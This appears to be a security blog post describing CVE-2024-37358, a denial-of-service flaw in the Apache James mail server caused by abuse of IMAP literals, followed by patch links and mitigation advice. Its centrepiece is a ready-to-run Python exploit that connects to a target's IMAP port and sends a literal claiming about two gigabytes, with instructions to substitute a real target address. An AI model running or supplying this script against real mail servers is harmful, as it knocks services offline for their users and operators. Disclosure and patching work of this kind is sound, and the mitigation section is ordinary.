CVE-2024-37358 highlights a recently discovered vulnerability within Apache James, an open-source email server written in Java. This vulnerability is strikingly similar to CVE-2024-34055, which targeted the same server software. By exploiting this vulnerability, both authenticated and unauthenticated users can trigger denial of service (DoS) attacks by abusing IMAP literals, resulting in unbounded memory allocation and prolonged computations.

Updates Version 3.7.6 and 3.8.2 of Apache James aim to resolve this issue by restricting the illegitimate use of IMAP literals. In this post, we will delve into the details of the vulnerability, share a code snippet explaining the exploit, and include links to original references.

Vulnerability Summary

Apache James supports the Internet Message Access Protocol (IMAP), which is widely used to access and manage email on a remote mail server. IMAP literals are a method used for transferring larger amounts of data in IMAP commands. Attackers can abuse this feature by deliberately feeding the server with overly large IMAP literals, causing issues in memory allocation and performance.

Exploit Details

The DoS attack could be as simple as sending a crafted IMAP command that forces the server to allocate a large amount of memory, causing it to crash or freeze.

Here's an example of how an attacker might exploit this vulnerability

import socket

def exploit(target_ip, target_port):
    try:
        print("[*] Connecting to the target...")
        imap_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        imap_socket.connect((target_ip, target_port))
        print("[+] Connected to the target successfully!")
        # Receive server response
        banner = imap_socket.recv(1024).decode("utf-8")
        print("[+] Received the following server response:", banner)

        print("[*] Sending crafted IMAP literal...")
        evil_msg = 'a001 LIST () "~~~LITERAL~~~" {%d}\r\n' % 2147483647
        imap_socket.send(evil_msg.encode("utf-8"))

        print("[+] Exploit sent - check the target server status.")
        imap_socket.close()

    except Exception as e:
        print("[-] An error occurred during the exploit:", str(e))

# REPLACE THE VARIABLES BELOW WITH THE TARGET'S IP AND PORT
target_ip = "127...1"
target_port = 143
exploit(target_ip, target_port)

This Python script demonstrates how one could exploit the CVE-2024-37358 vulnerability. An attacker would simply need to replace the target_ip and target_port variables with the appropriate values for the target server.

Mitigation

The simplest solution for this vulnerability is to upgrade to the patched versions of Apache James (3.7.6 or 3.8.2), which restrict the illegitimate use of IMAP literals. You can find the updated versions from the following links:

- Apache James 3.7.6: https://james.apache.org/server/download.cgi?preferred_mirror=apache.osuosl.org&filename=james/server/apache-james-3.7.6.zip&action=/server&action1=/server
- Apache James 3.8.2: https://james.apache.org/server/download.cgi?preferred_mirror=apache.osuosl.org&filename=james/server/apache-james-3.8.2.zip&action=/server&action1=/server

If upgrading is not possible, you might consider limiting the size of incoming IMAP literals based on your use case or implementing network-level access control to minimize potential attackers.

Conclusion

The CVE-2024-37358 vulnerability in Apache James highlights the importance of proactively securing your systems to protect against new threats. As this vulnerability is extremely similar to CVE-2024-34055, it demonstrates that security is a constant challenge, with attackers constantly seeking new ways to exploit system weaknesses. Therefore, it is crucial to keep applications and systems up-to-date and diligently monitor for signs of abuse.

Timeline

Published on: 02/06/2025 12:15:26 UTC